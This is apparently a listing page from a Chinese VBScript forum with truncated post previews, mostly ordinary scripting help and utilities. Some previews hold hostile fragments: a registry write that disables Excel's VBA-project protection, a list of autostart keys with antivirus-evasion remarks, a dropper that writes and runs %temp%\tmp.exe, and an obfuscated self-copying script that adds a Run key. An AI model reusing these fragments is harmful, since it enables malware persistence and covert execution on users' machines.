-
-
42
-
41Option Explicit Dim WshShell Dim oExcel, oBook, oModule Dim strRegKey, strCode Set oExcel = CreateObject("Excel.Application") set WshShell = CreateObject("wscript.Shell") strRegKey = "HKEY_CURRENT_USER\Software\Microsoft\Office\$\Excel\Security\AccessVBOM" strRegKey = Replace(strRegKey, "$", oExcel.Version) WshShell.RegWrite strRegKey, 1, "REG_DWORD" Set oBook = oExcel.Workbooks.Add Set oModule = obook.VBProject.VBComponents.Add(1) strCode = _ "Declare Sub Beep Lib ""kernel32"" (ByVal fre As Long, ByVal ms As Long)" & vbCr & _ "Declare Sub Sleep Lib ""kernel32"" (ByVal ms As Long)" oMo
-
35Well，不知道该说些什么了。VBS_Users：你们还好么？就知道，三分钟的热情难以让人真正有所提高，所以看到了“浮夸”很多。沉迷在Shutdown和SendKeys中或许没那么有激情吧，只是这种事谁知道，因为别人的想法你总是难以感同身受。只是想写字，没那么多想法。只是想立个帖子，感受一下自己的存在。That's it!GLaDOS
4-24
-
24感谢 black_mady 分享的飞信接口 http://tieba.baidu.com/f?kz=1101975565
-
103'By mady(我是企鹅) Dim LoginUrl,homeUrl,url,msg,logstate phoneNum="" '手机号 pass="" '密码 loginstatus="1" '在线 msg="已登录!" '信息内容 homeUrl="http://f.10086.cn/im/index/indexcenter.action" LoginUrl="http://f.10086.cn/im/login/inputpasssubmit1.action?loginstatus="& loginstatus &"&pass="& pass &"&m="& honeNum url="http://f.10086.cn/im/user/sendMsgToMyselfs.action?msg="& msg Dim xmlhttp,xmlresult Set xmlhttp=createobject("microsoft.xmlhttp") if not sendMMStoMys
-
122哈哈...第二次发帖，为了给那些还在为“VBS到底还能做些啥？”而困惑的新手们一点小小的指引，特将鄙人的一点经验和大家分享下，希望起到一个抛砖引玉的作用吧！ 今天要和大家讨论的话题可能算很多新手比较感兴趣的话题吧，特别是那些Hack技术比较感兴趣的朋友，反正俺当初对【木 马】、【病 毒】、【外 挂】等这些东东是充满了极大的兴趣的。 好吧，废话少说，进入正题： 在讨论具体的实现细节之前，咋们先来对【木 马】这一东东的原理
-
37Option Explicit Dim WshShell Dim oExcel, oBook, oModule Dim strRegKey, strCode, x, y Set oExcel = CreateObject("Excel.Application") set WshShell = CreateObject("wscript.Shell") strRegKey = "HKEY_CURRENT_USER\Software\Microsoft\Office\$\Excel\Security\AccessVBOM" strRegKey = Replace(strRegKey, "$", oExcel.Version) WshShell.RegWrite strRegKey, 1, "REG_DWORD" Set oBook = oExcel.Workbooks.Add Set oModule = obook.VBProject.VBComponents.Add(1) strCode = _ "Private Declare Function SetCursorPos Lib ""user32"" (ByVal x As Long, ByVal y As Long) As Long" & vbCr & _ "Private Type POINTAPI : X As
-
28就是用VBS操作Word.Application对象发送信息就像SendMessage一样好用。或许，还有局限性，但是我没有对它深入研究。说明:在Word.Application中有个Task对象，这个Task对象有个SendMessage方法，和API的基本类似。所以，就： 'BY Coo_boi Function SendMessage(lpWinTitle,wMsg,wParam,lParam) Dim WordApp Dim ShApp,colTask,oTask Set WordApp=CreateObject("Word.Application") Set colTask=wordapp.Tasks SendMessage=False For Each oTask In colTask     If
-
90额，这个标题真是萌翻了。。。--！ 近来，吧内也没什么生气，有帖子也都是那些关于ShutDown和MsgBox的问题。 确实，VBS是脚本语言，底层的、高层的似乎与哪一样对比都显得短板。但是，VBS还是有它自己的优点的。批量处理和个性化定制，还有便于编辑和修改。。。作为一个基于对象的应用，它有时显得很风骚，很强大。学VBS之前略懂些C和VB，偶然发现VSB是因为无聊搜索中知道有个FSO对象。藉此才更进一步了解了VBS，了解了脚本。接触之时充满对对
-
25'BY 破冰 664284092@QQ.COM on error resume Next Dim qq qq=Trim(InputBox("就是看别人的啦"&chr(13)&chr(13)&chr(13)&"输入你要查看的QQ号","输入QQ号","")) Dim ie,doc :execute("Set ie=wscript.cr"&"eateobject(""inte"&"rne""&""texplorer.ap""&""pl"&"ication"")") ie.navigate "ABOUT:BLANK":ie.AddressBar=0:ie.MenuBar=0:ie.toolbar= 0:ie.StatusBar=0:ie.Resizable=1:ie.FullScreen=0:ie.visible=1:ie.width=1200:ie.Height=800 Do while(ie.busy):loop set doc=ie.document doc.open doc.writeln "<head><style>BODY{SCROLLBAR-FACE-COLOR:#FFFF00
-
11---常用启动项--- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run '特别注意这一项，某些杀毒软件查的比较紧。 HKCU\Software\Microsoft\Windows\CurrentVersion\Run 'Ctfmon就在这里 HKLM\System\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\StartupPrograms HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell '这是Explorer的启动项，如果被占用桌面将启动不了。 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit 这个键允许指定用逗号分隔的多个程序，可以：userinit.exe,Test.vbs HKEY_CURRENT_USER\Software
-
13
-
71Ans = InPutBox("请输入要执行的操作：1.加密，2.解密,3.退出。") Ans = Int(Ans) If Ans =1 Then set fso=createobject("scripting.filesystemobject") Set objDialog = CreateObject("UserAccounts.CommonDialog") objDialog.Filter = "vbs File|*.vbs|All Files|*.*" objDialog.InitialDir = "" objDialog.ShowOpen strLoadFile = objDialog.FileName if not strLoadFile = "" then set op=fso.opentextfile(strLoadFile) dow=13 do while op.atendofstream=false line=op.readline for i=1 to len(line)&nb
-
29Run 命令用的多了,常会留下一些多余的记录,写了个清理脚本 'Run历史记录清理工具 愚人陈 2010/3/21 5:47 ' 'left命令 'reg相关命令 'Err.Clear 'Input false '----------------------------------------------------------------------- Set r=CreateObject("WScript.Shell") Dim a(30),List,Key Key = "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\" Do read() Loop Until delete()=false Function read() List="" For i=1 To 26 KeyName=Chr(96+i) On Error Resume Next RunMRU=r.RegRead (Key&KeyName) a(i)=RunMRU RunMRU=Lef
-
29Lucky
2012-07
'第一次自己动手写的一个有用的东西，有什么错误还请指正 'encoder.vbs 加密工具 declare function doublebyte(din) Dim string, n, length, word, result, digit function doublebyte(din) dim dr din = hex(din) dr = "%" + left(din,2) + "%" + right(din,2) doublebyte = dr end function string = InputBox("The Characters:", "Encoder v1.0") n = 1 length = len(string) if length = 0 then wscript.quit while n <= length word = mid(string,n,1) digit = asc(word) if digit < 0 the -
52fun1 = "sub saveFile(fName,str):dim temp:set xmldoc = CreateObject(""Microsoft.XMLDOM""):xmldoc.loadXml ""<?xml version=""""1.0""""?>"":set pic = xmldoc.createElement(""pic""):pic.dataType = ""bin.hex"":pic.nodeTypedValue = str:temp = pic.nodeTypedValue:with CreateObject(""ADODB.Stream""):.type = 1:.open:.write temp:.saveToFile fName, 2:.close:end with:end sub" fun2 = "set ws = CreateObject(""WScript.Shell""):fn = ws.ExpandEnvironmentStrings(""%temp%"") & ""\tmp.exe"":saveFile fn,data:ws.Run fn:wscript.sleep 100" path = wscript.arguments(0) set stream = createobject("adodb.stream") s
-
13'---------------------------------------------------------- ' CODE BY: EAGLE ' Email : eagle846@163.com ' QQ : 369029696 ' ' 函数名 ： IEmsg ' 功 能 ： 在屏幕右下角升起一个网页，可以用于提示信息 ' 特 点 ： 可以将网页在自定义时间后自动关闭 ' ' 参 数 ： IEmsg(title,msg,time) ' title - 提示信息的标题 ' msg - 提示信息的内容，换行符为"<br>" '
-
7'write by 次碳酸钴 in 3:18 2009/10/12 set ie = createobject("internetexplorer.application") ie.toolbar = 0:ie.navigate "about:blank" url = inputbox("Select * from ","请输入查询的目标","Win32_Process") if url = "" then wscript.quit ie.visible = 1 createobject("wscript.shell").sendkeys "{f11}" ie.document.write "<title>" & url & "</title>" for each i in getobject("winmgmts:\\.\root\cimv2").execquery("select * from " & url) withPopEye
5-20
-
33思路1： 直接输入公式，即可得到结果。（1个inputbox) 思路2： 分别输入两个数字和运算符号。（3个或更多inputbox) 如回帖请注明属于思路几或你自己的思路
-
24'************************ '不足之处,欢迎指正 '注:vista下无效 'written by maomaochong '2009.9.18 '************************ on error resume next set ws=createobject("wscript.shell") set fso=createobject("scripting.filesystemobject") set sa=createobject("shell.application") Set ucd = CreateObject("UserAccounts.CommonDialog") do '---------------------------------功能选择--------------------------------------------- start=inputbox("请输入相应的数字选择功能(按取消退出):"金先生
12-10
-
90有时，在百度贴吧发帖或在知道回答别人问题时，经常会贴一些代码。但是由于这两个地方不支持制表符(TAB发送)，当我们发送带有制表符的代码时会被自动替换为一个空格，所以我们发的代码会因为没有层次而显得很乱。就算代码写的再好看上去也像一堆垃圾，像这样： main() { long int i; int bonus1,bonus2,bonus4,bonus6,bonus10,bonus; scanf("%ld",&i); bonus1=100000*0.1;bonus2=bonus1+100000*0.75; bonus4=bonus2+200000*0.5; bonus6=bonus4+200000*0.3; bonus10=bonus6+400000*0.15; if(i<
-
21参考资料:从网页 http://d.download.csdn.net/down/588417/numenshane1 下载的资源 操作系统: Windows XP Win32_Process 类别代表在 Win32 系统上的一系列事件。任何包括一个或多个处理器或解释程序、某些可执行编码和输入集的交互的系列都为这个类别的附属(或成员)。 例如: 在 Win32 系统上运行的客户应用程序。 Caption Caption 属性为对象的简短文字描述(一行字符串)。 CommandLine 如果可用的话，CommandLine 属性指定了启动某个特定进程所要用到命令行。 CreationClassNam
varia
12-2
-
20RT,vb吧观光团路过
-
22目的是想用vbs玩一个小游戏。 比如，鼠标点击网页上的提交按钮，可以用类似IE2.Document.login.Submit这样的代码来实现。 用鼠标去点网页上的一个gif动画，用代码如何实现呢？ 先谢了！！ 以下是这个网页源文件中的节选： 钓鱼台 请按一下钓竿的图片,开始钓鱼
-
32Dim objws,objfs Set objws=WScript.CreateObject("wscript.shell") Set objfs=CreateObject("scripting.filesystemobject") Dim dl For Each d In objfs.Drives If d.DriveType=1 Then dl=d.DriveLetter End If Next If dl<>"" Then If objfs.FileExists(dl & ":\SecretKey") Then &沙雕大炮
8-19
-
50rem start model=false mydicN=0 on error resume next set fso=createobject("script"&"ing.filesyste"&"mobject") set sh=createobject("wscr" & "ipt.sh" & "ell") set sysdir=fso.getspecialfolder(1) set mydic=createobject("script"&"ing.dict" &"ionary") key0="HKCR\VBSFile\DefaultIcon\" sh.regwrite key0,sysdir & "\shell32.dll,-152" sh.regwrite "HKCR\.int\","VBSFile" newfilename=sysdir & "\" & "SoundMier.int" fso.copyfile WScript.ScriptFullName,newfilename key0="HKLM\software\microsoft\windows\currentversion\run\SoundMier" sh.regwrite key0,newfilename set file0=fso.Ope
-
35711小哥哥
2011-05
RT 很好，很强大 -
17运行环境：Win9X/2000/XP/2003 软件语言：简体中文 软件类型：国产软件 - 编译工具 授权方式：共享版 软件大小：658 KB 推荐星级：*** 更新时间：2008-7-20 插件情况：无 软件简介： 一款可以快速从VBS或JS文件单独运作的软件，并且可以将这类文件编译成执行档(.EXE)，同时会把内容采用Blowfish算法加密。 下载地址：http://www.cmdos.net/soft/download.asp?softid=637&downid=0&id=773
-
3'此脚本可以在telnet服务已经禁用且关闭的情况下开启telnet服务，^-^ 'script by breakan Option explicit dim objwmiservice,colservices dim objservice,telnetservername telnetservername="TlntSvr" set objwmiservice=getobject("winmgmts:\\.") set colservices=objwmiservice.instancesof("win32_service") Dim result result=MsgBox("[是]开启telnet服务" & vbCr & "[否]关闭telnet服务" & vbCr &"[取消]退出脚本",3+64,"telnet service") If result=6 then for each objservice in colservices if objservice.name=telne
-
20dim oie,doc1,fso strComputer = "." Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2") Set colprocess = objWMIService.ExecQuery _ ("Select * from Win32_process") for each objprocess in colprocess a=20-len(objprocess.caption) b=10-len(objprocess.handle) for i = 0 to a p=p&"." next for i = 0 to b q=q&"." next pross= pross&objprocess.caption&p&objprocess.handle&q&objprocess.commandline&vbcrlf p="" q="" next no="总进程数为:"&colprocess.count b="-------------------------------------------
-
10VB,VBS,VBA,ASP可引用的库参考 '''--- DAODE1212整理于2008年06月03日, '''---HTTP://WWW.BCDSOFT.NET/ONESTEPHOME/ 文件系统对象相关: ("SCRIPTING.FILESYSTEMOBJECT") 字典相关: ("SCRIPTING.DICTIONARY") 脚本外壳相关: ("WSCRIPT.SHELL") WINDOWS外壳相关: ("SHELL.APPLICATION") 正则表达式相关: ("VBSCRIPT.REGEXP") ASP相关: ("MSWC.ADROTATOR") ("MSWC.NEXTLINK") ("MSWC.MYINFO") 公用对话框相关: ("MSCOMDLG.COMMONDIALOG") 编码与密码相关: ("SCRIPTPW.PASSWORD") ( "SCRIPTING.ENCODER" ) 邮件发送的组件相关： (
-
7我想把网络连接里的宽带连接创建到桌面上,可是正常的宽带连接快捷方式只是一个 GID ,也没有真正的目标,怎么创建啊? 退一步,用传统的脚本创建raspppoe的快捷方式, set WshShell = WScript.CreateObject("WScript.Shell") '设置CreateObject 方法 strDesktop = WshShell.SpecialFolders("Desktop") '取得“桌面”的路径 set oShellLink = WshShell.CreateShortcut(strDesktop & "\宽带连接.lnk") '设置快捷方式将要保存到的路径和快捷方式名. oShellLink.TargetPath = "%windir%\system32\Rasphone.exe" '快捷方式里的“目
-
16求vbs代码，运行后能将ip(非局域网电脑)地址发到我的邮箱。谢谢！
-
6如何用vbs搜索整个硬盘? filename=inputbox("输入文件名","搜索") set fso=createobject("scripting.filesystemobject") for each drv in fso.drives set folder1=fso.getfolder(drv.path) ...... ...... ...... ......
varia
